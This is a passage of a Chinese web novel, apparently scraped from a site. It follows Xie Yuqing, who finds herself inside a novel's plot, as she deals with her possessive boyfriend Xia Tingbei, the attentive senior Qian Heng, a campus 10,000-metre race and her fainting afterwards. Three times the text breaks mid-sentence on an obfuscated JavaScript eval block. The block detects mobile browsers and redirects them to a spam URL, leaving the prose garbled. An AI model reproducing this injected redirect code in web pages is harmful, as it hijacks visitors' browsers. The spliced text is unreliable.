谢予青接过来翻了翻,点了个汽锅鸡。 乾珩又加了两个菜,过桥米线和炒野菜。 “够了够了,”谢予青说,“吃不完。” “没事,慢慢吃。” 等菜的功夫,两个人闲聊。 “你今天没课?”乾珩问。 “下午没课,就泡图书馆了。” “大一就这么拼?” 谢予青笑了:“喜欢嘛。” 乾珩看着她,眼神里带着点欣赏:“你上次说的那些,是真心的?考研读博做科研?” “真的。” “厉害。”乾珩由衷地说,“我大一的时候,还整天瞎玩呢。” 谢予青笑了笑,没接话。她不是大一,她二十八了。 二十八岁才知道自己想要什么,已经晚了。 好在,老天给了她一次重来的机会。 “对了,”乾珩突然问,“你跟夏听北……怎么样了?” 谢予青愣了一下,然后反应过来:“你说分手的事?” “嗯。” “还没分成呢。”谢予青无奈地耸耸肩,“他不同意。” 乾珩皱皱眉:“那他一直这样?” “差不多吧,不过我们也不怎么见面,也不怎么联系,所以也无所谓。” “那就这么拖着?” “我也不知道。”谢予青叹了口气,“走一步看一步吧。” 乾珩看着她,欲言又止。 菜上来了。 汽锅鸡冒着热气,过桥米线摆了一桌子的配菜。 谢予青眼睛亮了:“哇,看着就好吃。” “快尝尝。” 谢予青夹了一筷子鸡肉,放进嘴里。 “好吃!”她眼睛弯起来,“真好吃。” 乾珩笑了:“喜欢就多吃点。” 谢予青又夹了一筷子米线,可能是太急了,烫了一下。 “嘶……”她吸了口气。 “慢点慢点。”乾珩赶紧给她倒了杯水,“烫着了?” 谢予青接过水喝了一口:“没事没事,就是有点急。” 乾珩又从桌上扯了张纸巾,递给她。 谢予青接过来擦嘴,擦完发现他还在看着自己。 “怎么了?” “嘴上。”乾珩指了指自己的嘴角,“还有一点。” 谢予青又擦了擦。 “这边。”乾珩伸手,指了指自己嘴角另一边。 谢予青擦完,笑了:“好了吗?” “好了。”乾珩也笑了。 两个人继续吃饭,说说笑笑,气氛轻松。 他们没注意到,窗外有个人正盯着他们看。 李奕今天是来这边买奶茶的。 他刚从奶茶店出来,手里拎着两杯,准备带回宿舍。路过云南菜馆的时候,习惯性地往里瞟了一眼。 就这一眼,他愣住了。 靠窗的位置上,谢予青正跟一个男生吃饭。 那个男生他认识,乾珩,建筑系的,挺有名的。 两个人有说有笑,气氛亲密。 关键是,刚才那个男生给谢予青递纸巾,还指着她的嘴角让她擦。 这动作,怎么看怎么暧昧。 李奕瞪大眼睛,掏出手机,偷偷拍了一张。 照片里,乾珩正看着谢予青笑,谢予青也笑着,画面很和谐。 李奕犹豫了一下,还是把照片发给了夏听北。 附了一句:你女朋友为什么跟别人这么亲密啊?你们俩是不是有情况? 发完,他继续盯着窗里看,等着看还有什么。 宿舍里,夏听北正在睡觉。 昨晚熬夜看资料,今天下午没课,他补了个觉。 手机震了一下,他没理。 又震了一下。 他翻了个身,还是没理。 但震了第三下的时候,他醒了。 拿过手机一看,有群发的信息,还有李奕发的消息。 他先点开了李奕的对话框,又点开图片。 看清照片画面的那一瞬间,夏听北一下子坐了起来。 照片里,谢予青和乾珩面对面坐着,乾珩正看着她笑,她也笑着。桌上摆着菜,旁边是窗户,阳光照进来,画面很好看。 但夏听北一点都不觉得好看。 他盯着那张照片,后槽牙都快咬碎了。 他们怎么在一起? 什么时候约的? 他不是跟乾珩说过,谢予青是他女朋友吗? 这个乾珩,是想趁虚而入? 夏听北从床上下来,开始换衣服。 李奕又发了一条:就在后门那家云南菜馆。 夏听北没回,套上外套就往外走。 刚走到门口,手机响了。 他看了一眼来电显示,苏昭昭。 接起来,那边传来苏昭昭的声音,带着点哭腔。 “听北,我崴了脚,好疼……你能不能送我去医务室?” 夏听北脚步顿了一下。 崴脚? 以前苏昭昭有什么事,他都会第一时间赶过去。 从小到大,他都习惯了照顾她。 可是现在…… 他脑子里全是那张照片。 “听北?”苏昭昭的声音传过来,“你在吗?” 夏听北深吸一口气,语气有点冲。 “你就不能让你的同学送你吗?你就一个朋友都没有?怎么什么时候都找我?” 那边沉默了。 两秒后,苏昭昭轻声说:“对不起,打扰了。” 电话挂了。 夏听北握着手机,站在宿舍门口。 心里有点乱。 但他没时间想那么多,他得去找谢予青,他满脑子都是那两个人在一起的画面。 他快步下楼,往后门那条街跑。 云南菜馆里,谢予青和乾珩刚吃完,两个人一起往外走。 刚走到门口,谢予青愣住了。 夏听北站在外面,正看着她。 他就那么站着,没动,也没说话,好像是一路跑过来的,呼吸还有点急。 谢予青看着他,有点莫名其妙。 “你怎么在这儿?” 夏听北张了张嘴,不知道该说什么。 他刚才一路跑过来,脑子里全是问题。 你们在干什么? 你们为什么一起吃饭? 他是不是在追你? 可是现在,站到她面前,看着她那双清澈的眼睛,他什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513716|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都说不出来了。 她说得很清楚了,他们要分手。 她不喜欢他了。 她想跟谁一起吃饭,是她的自由。 他有什么资格管? 夏听北站在那里,愣住了。 “夏听北?”谢予青又叫了一声,“你没事吧?” 夏听北回过神,摇摇头。 “没事。”他说,“路过。” 谢予青看着他,觉得他怪怪的。 路过? 跑成这样叫路过? “哦,”她指了指旁边的乾珩,“我们先回去了。” 夏听北点点头。 谢予青和乾珩从他身边走过,往学校方向走。 走出去几步,谢予青忍不住回头看了一眼。 夏听北还站在那里,看着她的方向。 夕阳打在他身上,把他的影子拉得很长。 他就那么站着,一动不动的。 谢予青心里有点怪怪的。 “他好像还挺喜欢你的。”乾珩突然说。 谢予青收回视线,摇摇头:“不是,他不喜欢我。” “你怎么知道?” “他当初答应我的表白,是为了气他的青梅竹马。”谢予青说,“被我发现了,我才要分手的。” 乾珩愣了一下:“青梅竹马?” “嗯,叫苏昭昭,钢琴系的。” 乾珩想了想:“苏昭昭?我好像见过。” 谢予青看着他,突然想起原著里的设定。 原著里,乾珩是对苏昭昭一见钟情的,后来一直默默守护她,帮她解决各种麻烦,最后看着她选择了夏听北,自己黯然离场。 谢予青心里有点复杂。 她看着乾珩,忍不住问了一句:“你觉得苏昭昭怎么样?” 乾珩愣了一下:“什么怎么样?” “就是……”谢予青斟酌着措辞,“你有没有觉得她挺特别的?” 乾珩更迷惑了:“特别?我没注意过。” “你不是见过她吗?” “见过是见过,”乾珩想了想,“但没什么印象,就一个普通女生吧。” 谢予青愣住了。 不对吧? 原著里明明写他对苏昭昭一见钟情的呀。 怎么现在说“没印象”? “你确定?”她又问了一遍。 乾珩被她问得有点懵:“确定啊,怎么了?” 谢予青张了张嘴,不知道该说什么。 难道剧情真的改了? 还是说,从一开始,这个世界就跟原著不一样? 她想起之前的种种。 夏听北说不喜欢苏昭昭。 现在乾珩也说不喜欢。 那原著算什么? 她在脑子里默默呼唤:神仙姐姐?你在吗?能不能出来解释一下? 没回应。 她又叫了一遍。 还是没回应。 谢予青这才意识到,那个她从来没见过的神仙姐姐,已经很久没动静了。 她一直以为,剧情会按照原著走。 可如果这个世界,本来就跟原著不一样呢? 她有点懵了。 “谢予青?”乾珩叫她,“你没事吧?” 谢予青回过神:“没事没事,就是想到一些事。” 乾珩看着她,有点担心:“你是不是不舒服?” “没有,真的没事。”谢予青笑了笑,“走吧,回去吧。” 两个人继续往前走。 走到宿舍楼下,乾珩停下来。 “到了。” 谢予青点点头:“谢谢学长请客。” “不客气,下次你请。” “好,一言为定。” 乾珩犹豫了一下,掏出手机:“能加个微信吗?” 谢予青笑了:“当然可以。” 两个人加上微信,乾珩跟她道别,走了。 谢予青站在原地,看着他的背影消失在人群里。 乾珩这人,真的挺好的。 温柔,体贴,有礼貌。 长得又帅。 要是苏昭昭不喜欢他,那真是可惜了。 她摇摇头,转身上楼。 13. 第 13 章 推开宿舍门,唐笑一下子扑过来。 “老实交代!”唐笑眼睛发亮,“刚才谁送你回来的?” 谢予青被她吓了一跳:“什么谁?” “我都看见了!”唐笑指着窗外,“那个戴眼镜的帅哥!乾珩学长!他送你回来的!” 谢予青无奈:“就是一起吃个饭,他送我回来而已。” “而已?”唐笑一脸不信,“我上次就说他对你有意思,你还说没有!” “真的没有。” “那他为什么请你吃饭?” “学长请学妹吃饭,不是很正常吗?” 唐笑撇撇嘴:“行行行,正常正常,不过你也太抢手了吧,一个夏听北还不够,又来一个乾珩。” 谢予青扶额:“我跟夏听北没关系了。” “那是你说的,人家可不这么想。”唐笑眨眨眼,“我看他那样子,可不像是要放弃的。” 谢予青不想再聊这个话题,坐到床上开始看书。 唐笑也没再问,躺回床上继续追她的韩剧。 但谢予青心里,乱得很。 剧情到底变没变? 夏听北到底喜不喜欢苏昭昭? 乾珩到底会不会喜欢上苏昭昭? 她好像不能再按原著来预判一切了。 第二天下午,谢予青和唐笑上完课,一起往食堂走。 走到半路,夏听北拦住了她们。 他站在前面,看着谢予青。 “借一步说话。” 谢予青叹了口气。 又来了。 她转头看向唐笑。 唐笑正在四处张望,然后突然眼睛一亮,朝远处挥手:“李奕!这边!” 然后她对谢予青说:“你们聊,我先走了啊!” 说完就跑向李奕,两个人说说笑笑地往食堂走了。 谢予青:“……” 夏听北走过来,把她拉到路边一棵树后面。 谢予青无奈地看着他:“你又想干嘛?” 夏听北看着她,表情有点复杂。 “你跟乾珩怎么回事?” 谢予青愣了一下:“什么怎么回事?” “昨天,你们一起吃饭。” “就是一起吃个饭啊。”谢予青莫名其妙,“怎么了?” 夏听北抿了抿嘴:“你是我女朋友。” 谢予青深吸一口气。 “夏听北,”她尽量让自己语气平静,“我跟你说过很多次了,我们分手了。” “我不同意。” “你同不同意是你的事,但我们就是分手了。”谢予青看着他,“我跟谁吃饭,是我的自由,你管不着。” 夏听北被噎住了。 谢予青继续说:“你到底想好了没有?同不同意分手?不同意的话,我们就这样耗着?你想耗到什么时候?” 夏听北站在那里,不知道该说什么。 他知道她说得对。 可是他就是不想同意。 说不出为什么。 就是不想。 沉默了几秒,他突然转身,走了。 头也不回地走了。 谢予青站在原地,看着他走远,无语地叹了口气。 这人怎么回事? 每次都这样,说不过就跑。 幼稚。 她摇摇头,往食堂走。 食堂里人很多,谢予青打了饭,四处张望找唐笑,终于在角落里看到了她。 唐笑正跟李奕坐在一起,两个人有说有笑的。 旁边还有一个位置,坐着夏听北。 谢予青:“……” 这顿饭,注定吃不安生。 她端着餐盘走过去,坐到唐笑旁边。 四个人,两两相对。 谢予青低头吃饭,当对面没人。 夏听北也不说话,低头吃饭。 李奕看看这个,又看看那个,想说什么,又不敢说。 唐笑也在观察,眼神在谢予青和夏听北之间来回扫。 一顿饭,吃得诡异极了。 好不容易吃完,谢予青站起来就走,“我吃完了,先走了。” 唐笑想叫住她,她已经走远了,唐笑只能跟上去。 夏听北看着谢予青的背影,没动。 李奕凑过来:“哎,你们俩到底怎么回事?” 夏听北没理他。 “我跟你说,”李奕压低声音,“那个乾珩,你得防着点。我看他对谢予青挺上心的。” 夏听北终于开口:“闭嘴。” “我说真的!” “闭嘴!” 李奕缩缩脖子,不说了。 两个人一起往宿舍走。 走到半路,李奕突然想起什么:“对了,刚才碰到苏昭昭的室友了,说她崴了脚,你不去看看吗?” 夏听北脚步顿了一下。 昨天苏昭昭给他打电话,说的就是这个。 他当时太急,挂了电话就走了。 后来也没想起来问问。 “不用。”他说,“崴脚而已,不要紧。” 李奕有点奇怪:“以前她有什么事你不是都第一时间去吗?怎么现在不管了?” 夏听北没说话。 李奕继续说:“你不会有了女朋友,就把青梅竹马忘了吧?” 夏听北愣了一下。 是啊。 以前苏昭昭有什么事,他都会管。 从小到大,他习惯了照顾她。 可是现在,他已经好几天没见她了。 昨天她打电话,他连问都没问就挂了,满脑子都是谢予青和乾珩在一起的样子。 他怎么了? “走了。”他说,继续往前走。 李奕跟上,没再问。 十一月末,天气彻底凉下来了。 校园里的梧桐叶落了大半,光秃秃的枝丫伸向灰蒙蒙的天空。 谢予青裹着一件厚外套,从教学楼出来,风一吹,还是忍不住缩了缩脖子。 学习委员在班群发了一条消息,被辅导员置顶了。 “校园运动会报名开始啦!请各班同学积极参加,为班级争光!报名截止本周五,项目有:100米、200米、400米、800米、1500米、5000米、10000米……” 谢予青划到“10000米”那一行,手指顿住了。 脑子里突然闪过原著里的情节。 万米跑。 原女主苏昭昭报名了,原主也不甘示弱,跟着报了。 结果跑到最后,原主差点没撅过去,躺在草地上整个人都快要晕厥。 男主夏听北看都没看她一眼,只记得给苏昭昭递水递衣服。 最后是男二乾珩把她送去了医务室。 她皱着眉头仔细想了又想,突然想起来了。 是苏昭昭在被夏听北照顾着的同时,一脸虚弱地告诉乾珩,让他把谢予青送去医务室的! 书里没写后续,大概就是一笔带过的情节,用来衬托男主对女主的特别和女主的善良。 谢予青看着报名表,心里有点复杂。 要不要报? 如果不报的话,会不会改变原来的走向? 她之前连八百米都跑不下来,万米跑?那不得要她半条命。 还是算了吧。 谢予青把手机揣回兜里,决定当没看见这条消息。 结果报名截止的前一天晚上,体育委员找到了她。 “谢予青!”体育委员叫陈浩,是个高高壮壮的男生,站在她宿舍楼下,一脸诚恳,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513717|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个事想请你帮忙。” 谢予青满眼警惕:“什么事?” “运动会万米跑,咱们班还没人报。”陈浩搓着手,“我问了一圈,没人愿意跑,后来查了一下以前的记录,发现你高中参加过万米跑,还拿过冠军,你看能不能……帮个忙?跑倒数第一都没关系,只要有人报名就行。” 谢予青愣住了。 原主高中参加过万米跑?还拿了冠军? 她完全不知道这事。 书里根本没提过。 只写了原主为了跟苏昭昭较劲报了名,然后跑得要死要活,狼狈不堪,好像她就是个不自量力的恶毒女配,专门用来衬托女主的。 可如果她本来就擅长长跑呢? 如果她报名不全是为了较劲,而是因为她真的能跑呢? 谢予青突然有点心疼原主。 明明自己也有特长,书里却只字不提,只把她写成一个嫉妒心强的工具人。 “行。”谢予青点头,“我报。” 陈浩眼睛一亮:“真的?太谢谢你了!” “不客气。” 回到宿舍,谢予青躺在床上,心里有点复杂。 她报名,不全是因为陈浩的请求。 她也想知道,原著里的情节,到底会不会重演。 男主还会不会只看苏昭昭,不管她? 男二还会不会送她去医务室? 还有,她自己也想知道,这副身体到底能不能跑。 既然原主有长跑的特长,那她应该也不会太差吧? 报名之后,还有两个星期。 谢予青决定好好准备。 她不想在赛场上丢人,更不想真的跑晕过去。 第一天晚上,她换上运动服,去了操场。 操场上没什么人,只有几个体育生在训练。谢予青做了热身,开始在跑道上慢跑。 第一圈,还行。 第二圈,有点喘。 第三圈,腿开始酸。 跑到第五圈的时候,她发现自己虽然累,但并没有想象中的那么痛苦。呼吸虽然急促,节奏却能稳住,腿虽然酸,但还有力气。 原主这身子,确实适合跑步。 谢予青心里有点高兴。 接下来的每一天晚上,她都去操场跑。 从五千米慢慢加到八千米,再到一万米。 唐笑说她疯了,“你一个连体育课都想翘的人,居然主动去跑步?” 谢予青笑着看她:“人总是会变的嘛。” 唐笑摇摇头,表示不理解。 两个星期下来,谢予青瘦了一点,精神倒是好了很多。跑步的时候,她能感觉到身体越来越轻盈,呼吸越来越顺畅。 这种感觉,挺好的。 校运动会那天,天气意外地好。 阳光透过云层洒下来,暖洋洋的,操场上插满了彩旗,看台上坐了不少人。 虽然运动会对于大学生来说不算什么大事,但天气好,来看热闹的人也不少。 谢予青换好运动服,走到检录处。 远远地,她看到了苏昭昭。 苏昭昭穿着一身白色的运动服,头发扎成马尾,看起来干净清爽。她正在跟旁边的女生说话,笑得温柔。 果然也报名了。 谢予青收回视线,开始做热身。 她往看台上扫了一眼。密密麻麻的人,看不清谁是谁。 她的目光在某个方向多停了一秒。 夏听北来了吗?肯定来了吧。 毕竟苏昭昭在跑。 谢予青收回视线,深吸一口气。 算了,管他来不来。 她跑她的。 “各就各位——预备——” 枪响了。 谢予青迈开步子,跑了出去。 14. 第 14 章 万米跑,二十五圈。 刚开始的时候,大家都挤在一起,你推我搡的,谢予青没有冲太前,按照自己的节奏跑。 第一圈,第二圈,第三圈…… 人群慢慢拉开了距离。 跑在前面的,除了谢予青和苏昭昭,还有几个女孩。 但万米跑拼的是耐力,不是速度,到了第十圈,跑在前面的就只剩下四五个人了。 谢予青跑在苏昭昭旁边。 两个人并排,呼哧呼哧地喘着气。 苏昭昭转头看了她一眼,眼神里有点意外,大概没想到她能跑这么快。 谢予青没看她,盯着前面的跑道,继续跑。 第十五圈。 跑在前面的只剩下三个人了,谢予青、苏昭昭,还有另外一个女孩。 谢予青的腿开始酸了,呼吸也变得沉重。 她能感觉到,苏昭昭也在硬撑。 第十八圈。 那个女孩掉速了,被甩在后面。 跑在最前面的,只剩下谢予青和苏昭昭。 两个人一前一后,差不了几步。 看台上有人开始喊加油,声音混成一片,听不清是谁的名字。 谢予青的脑子里只有一个念头:跑! 第二十圈。 谢予青开始觉得不对劲了。 腿越来越沉,呼吸越来越乱,胸口像压了一块大石头,每一次吸气都费劲。 她想起原著里写的:原主跑到最后差点晕厥。 来了,就是这个。 谢予青咬了咬牙,努力调整呼吸。 不行,还是不行。 身体开始发飘,视野边缘有点发黑。 她偏过头,看了一眼旁边的苏昭昭。 苏昭昭也在硬撑,脸色发白,呼吸声很重。 谢予青深吸一口气,加快了速度。 她超过了苏昭昭。 领先半个身位,一个身位,两个身位…… 看台上的声音更大了。 第二十二圈。 谢予青跑在最前面,把苏昭昭甩在了后面。 她就要拿第一了。 再坚持三圈。 第二十三圈。 腿像灌了铅。 第二十四圈。 视野开始发黑。 最后半圈。 终点就在前面。 谢予青咬紧牙关,拼尽最后一点力气往前冲。 然后—— 脚下一软。 整个人往前扑去,重重地摔在跑道上。 膝盖和手掌火辣辣地疼。 谢予青趴在地上,脑子一片空白。 身后,苏昭昭跑了过来。 她经过谢予青的时候,脚步顿了一下,回头看了一眼。 远处有人在喊:“快点快点!冲线!” 苏昭昭犹豫了一秒,然后转过头,继续往前跑。 她冲过了终点线。 第一。 谢予青趴在地上,听到远处的欢呼声。 她深吸一口气,爬起来。 膝盖磨破了皮,血顺着小腿往下流,手掌也擦伤了,火辣辣地疼。 她一瘸一拐地往前走,冲过了终点线。 第二。 旁边有她们班同学上来扶她,还有人给她递水,有人递过来一块巧克力,谢予青都拒绝了。 她被扶到旁边的草地上坐下,仰头看着天空。 阳光刺眼,视野一阵一阵地发黑。 天哪,这就是原著里写的,差点晕厥。 她偏过头,往苏昭昭那边看了一眼,视线有点模糊,但她还是看到了。 一个高瘦的身影走到苏昭昭旁边,先是站了一会儿,似乎朝她这边看过来了,但是很快就蹲了下去,扶住了苏昭昭。 他手里还拿着一瓶水,递给苏昭昭。 苏昭昭接过来,笑着跟他说了什么。 谢予青收回视线,心里说不上是什么感觉。 果然,还是来了,她早就知道会这样。 不是早就说好了吗?不管他。 可是心里还是有点堵。 算了。 她闭上眼睛,不想再看。 “谢予青!” 一个声音从远处传来。 谢予青睁开眼,模糊的视线里,一个身影正朝她跑过来。 是乾珩。 他跑到她面前,蹲下来,满脸担心地看着她。 “你没事吧?” 谢予青张了张嘴,想说“没事”,但话还没出口,眼前一黑…… 她晕了过去。 不知道过了多久。 谢予青醒过来的时候,看到的是白色的天花板。 她眨了眨眼,转头,看到乾珩坐在床边。 他正看着她,脸上还带着一点担心。 看到她醒了,他松口气,笑了,“醒了?” 谢予青的脑子慢慢转过来:“这是……医务室?” “对。”乾珩点点头,“你晕倒了,我把你送过来的。” 谢予青看着他,心里那个问题终于问了出来:“为什么?” 乾珩愣了一下:“什么为什么?” “为什么送我过来?” 乾珩想了想,说:“我看你晕倒了,就把你送过来了呀。” 谢予青皱眉看着他。 这不对。 原著是苏昭昭让他送的,现在变成了自己主动送,这根本不一样。 到底怎么回事? 夏听北还是像原著一样去关心了苏昭昭,把她晾在了一边。 所以剧情到底变成了什么? 乾珩看着她,突然问了一句:“你确定要跟夏听北分手吗?” 谢予青愣了一下:“确定啊。” “那好吧。”乾珩点点头,表情有点奇怪。 谢予青看着他:“怎么了?” 乾珩沉默了一下,然后说:“那这样的话,意思就是我有机会了?” 谢予青傻眼了。 什么? 乾珩看着她目瞪口呆的样子,笑了起来,语气很轻松:“我开玩笑的。” 谢予青:“……” 她不知道该说什么。 乾珩耸耸肩,站起来:“饿了吧?我去给你买点吃的。” 谢予青张了张嘴,想说“不用”,但乾珩已经走出去了。 她躺在床上,盯着天花板,心里乱成一团。 什么情况? 乾珩说“我有机会了”? 这是开玩笑还是认真的? 不对不对,原著里乾珩应该对苏昭昭一见钟情才对。 怎么会…… 难道这个世界真的完全不一样了? 她闭上眼睛,脑子里乱糟糟的。 过了一会儿,乾珩回来了。 手里拎着一个饭盒,还有一杯奶茶。 他把饭盒放在床头柜上,“二食堂的过桥米线,你尝尝。” 谢予青坐起来,膝盖还在疼,手掌也包着纱布。 乾珩把奶茶递给她:“先喝点热的。” 谢予青接过来,喝了一口。 温热的奶茶顺着喉咙下去,整个人都舒服了一点。 “谢谢学长。” “不客气。”乾珩坐在旁边,把饭盒打开,“能自己吃吗?要不要我喂你?” 谢予青瞪他一眼:“我自己能行。” 乾珩笑了。 谢予青拿起筷子,吃了几口米线,味道不错,热乎乎的,吃下去胃里暖暖的。 “你跑得挺好的,”乾珩语气中带着遗憾,“差点就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513718|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一了。” “差一点就是差一点。”谢予青闷闷地说。 “摔倒又不是你的错,跑道不平,好几个选手都摔了。”乾珩温柔地看着她。 谢予青愣了一下:“真的?” “真的,裁判后来检查了,有一段跑道有鼓包,你踩到那个位置了。” 谢予青不知道该说什么。 所以她摔倒,不是因为体力不支,是因为跑道有问题? 那原著里写的“差点晕厥”,到底是因为累的,还是因为摔的? 她有点搞不清了。 “吃完再休息一会儿,”乾珩说,“等点滴打完,我送你回去。” “不用了,我自己能回。” “别逞强。”乾珩看着她,“你刚晕倒,万一路上又晕了呢?” 谢予青闭嘴了。 吃完饭,打了点滴,校医又检查了一遍。 “没什么大碍,膝盖擦伤,注意别沾水,有点低血糖,回去多吃点好的。”校医说完,开了点药,就让他们走了。 乾珩扶着谢予青往外走。 谢予青被他扶着,有点不自在:“我又没残废,不用这样。” “还是扶着吧,万一摔倒了怎么办?” 谢予青一手拿着奶茶,一手被乾珩扶着,走在校园里。 路过的学生都看他们一眼,眼神里带着点八卦的意思。 谢予青假装没看见。 乾珩又高又帅,走在旁边确实挺有安全感的。 她忍不住想,如果她是苏昭昭,绝对会选择乾珩。 这么温柔,这么体贴。 比那个冷着脸的夏听北强多了。 何况那狗男人真是不靠谱,一边死活不肯跟她分手,一边在遇到危险的时候,还是只会关心苏昭昭。 幸好她不喜欢他,不然肯定要伤心的。 即使她不喜欢他,刚才看到那一幕的时候,还是止不住心里有点难过。 或许那一瞬间,是原主控制了她的身体吧。 两个人慢慢走着,经过图书馆的时候,迎面遇到了夏听北。 谢予青的脚步顿了一下。 夏听北看到他们,脸色立刻变了。 他快步走过来,一把抓住谢予青的胳膊,把她从乾珩那边拽过来。 “谢谢你照顾我女朋友。”他看着乾珩,语气很冷,“现在交给我吧。” 乾珩没有放手。 他站在原地,看着夏听北,脸上的表情难得地带着不悦。 “她说要跟你分手。”乾珩声音虽然不大,但是语气不善,听起来有点吓人,“你是听不到吗?” 夏听北的脸色更难看了。 “我不同意。”他一字一顿地说,“不同意,我们就还是男女朋友。” 两个人对视着,气氛一下子变得很僵。 谢予青站在中间,不知道该说什么,她怕两个人打架,就对乾珩说:“学长,我没事了,你先回去吧。” 她对乾珩说这话,是因为不想把乾珩卷进来。 乾珩看着她,沉默了两秒。 然后他松了手,后退一步。 他看向谢予青,笑了笑,但那笑容有点苦涩。 “那我先走了。” 他揉了揉她的头发,“回去之后记得不要沾水,想吃什么告诉我。” 说完,他转身就走。 谢予青看着他的背影,总觉得他有点怪怪的,想叫住他,但又不知道该说什么。 “走了。”夏听北拽着她的胳膊往前走。 谢予青被他拽得一个踉跄,膝盖疼了一下,她“嘶”了一声。 夏听北的脚步顿了一下,手上的力气松了一点,但没放手。 谢予青一边走一边回头看乾珩。 乾珩已经走远了,背影消失在人群里。 15. 第 15 章 夏听北拽着她走得更快了。 “你能不能慢点!”谢予青甩他的手,“我刚晕倒,你就这样拽着我?” 夏听北的脚步停住了。 他回头看着她,脸色很不好看。 “我晕倒的时候你不管我,”谢予青瞪着他,“现在又来献什么殷勤?” 夏听北的嘴唇抿成一条线。 “我怎么不管你了?” “你要是管我,为什么送我去医务室的是乾珩?” 夏听北沉默了几秒,然后别过头,不说话。 谢予青看着他这样子,更生气了。 “你说话呀!” 夏听北不说话。 “夏听北!” “走了。”他拽着她继续往前走。 谢予青被他气得说不出话。 走到食堂门口,夏听北停下来。 “你吃饭了吗?进去吃点东西。” “不用。”谢予青甩开他的手,“乾珩给我买了。” 夏听北的脸一下子黑了。 他没说话,继续拽着她往宿舍走。 走到宿舍楼下,他终于松开手。 “你上去吧。”他声音闷闷的。 谢予青看了他一眼,转身就走。 “谢予青。” 她停住脚步,没回头。 夏听北沉默了一会儿。 “苏昭昭那边……是她先叫我的。”他说,“我给她递了水,然后就去找你了,但你已经被乾珩抱走了,公主抱。” 他说的咬牙切齿的。 谢予青回头看他,他站在那里,表情有点别扭。 谢予青看着他,不知道该说什么。 “就这样。”他耸耸肩,“信不信随你。” 然后他转身,走了。 谢予青站在原地,看着他的背影。 她站了一会儿,转身上楼。 推开宿舍门,唐笑正躺在床上玩手机。 看到她回来,唐笑一下子坐起来。 “你没事了?吓死我了!” “没事。”谢予青坐到床上,“就是摔了一下。” “我和乾珩一起把你送去医务室的,”唐笑说,“结果我高中同学给我打电话,说要一起吃午饭,乾珩就说让我先走,他一个人就行,我这才刚回来。” 谢予青点点头:“嗯,他跟我说了。” 唐笑凑过来,眨眨眼:“哎,你说乾珩是不是对你有意思啊?” 谢予青愣了一下:“什么意思?” “你都不知道他刚才那个样子,”唐笑眼睛亮亮的,“你晕倒的时候,他脸都白了,把你抱起来就往医务室跑,我在后面都快追不上了,公主抱哦!” 又有一个人提到了公主抱,谢予青心跳漏了一拍。 她有些不敢想那个画面。 “后来在校医务室,他一直守着你,连口水都没喝,我高中同学打电话来,他说‘你走吧,我在这儿就行’,那语气,好像他才是你男朋友似的。” “你到底想说什么?”谢予青问。 唐笑眨眨眼,捂着嘴笑了:“没什么没什么。” “到底什么呀?” 唐笑对她眨眨眼:“你以后就知道了。” 谢予青更好奇了。 但她知道唐笑这性子,不想说的话,怎么问都没用。 她躺回床上,看着天花板。 脑子里乱糟糟的。 夏听北的话,乾珩的反应,唐笑的暗示…… 这个世界,到底怎么回事? 转眼到了十二月,天气转凉。 谢予青穿着羽绒服,缩着脖子从教学楼出来,呼出的白气在眼前散开,又被风吹走。 走到食堂门口的时候,手机震了一下。 是班长发的群消息:@全体成员生科院元旦晚会节目征集,有意向的同学请私聊我。 谢予青收起手机,没当回事。 食堂里暖烘烘的,玻璃窗蒙了一层白雾。她排队打了碗热馄饨,端着走到角落坐下。馄饨汤冒着热气,她掰开一次性筷子,低头吃起来。 吃到一半,对面坐下一个人。 “谢予青。” 她抬头。 班长林晓,圆脸,戴眼镜,北方人,说话声音敞亮。 “吃了吗?”谢予青问。 “吃了,找你有点事。”林晓搓搓手,“咱们学院元旦晚会要出节目,一个幽默话剧,缺人,你来吧。” 谢予青筷子顿了一下,“我?我不会演话剧。” “不要你会演,要你凑数。”林晓语气诚恳,“剧本现成的,角色也不多,咱们班报的人太少了,院里催得紧,帮个忙。” 谢予青看着她,犹豫了。 林晓这人热心肠,平时帮大家忙不少,拒绝的话到了嘴边,又咽回去。 “什么角色?” “一个路人甲,就几句台词,排练也不多。”林晓眼睛亮了,“答应了?” “行吧。” 林晓笑起来,拍了桌子站起来,“谢了!下午四点,学生活动中心三楼,第一次排练,别迟到。” 说完跑了。 谢予青看着她的背影,无奈地笑了下,低头继续吃馄饨。 下午四点,学生活动中心三楼。 一间空教室,桌椅推到墙边,中间腾出一片空地,门开着,里面已经站了几个人。 谢予青走进去,林晓冲她挥手。 “来了!这位是导演,大三的赵学姐。” 赵学姐短发,穿格子衬衫,手里拿着剧本,上下打量了谢予青一眼,“你就是路人甲?” “嗯。” 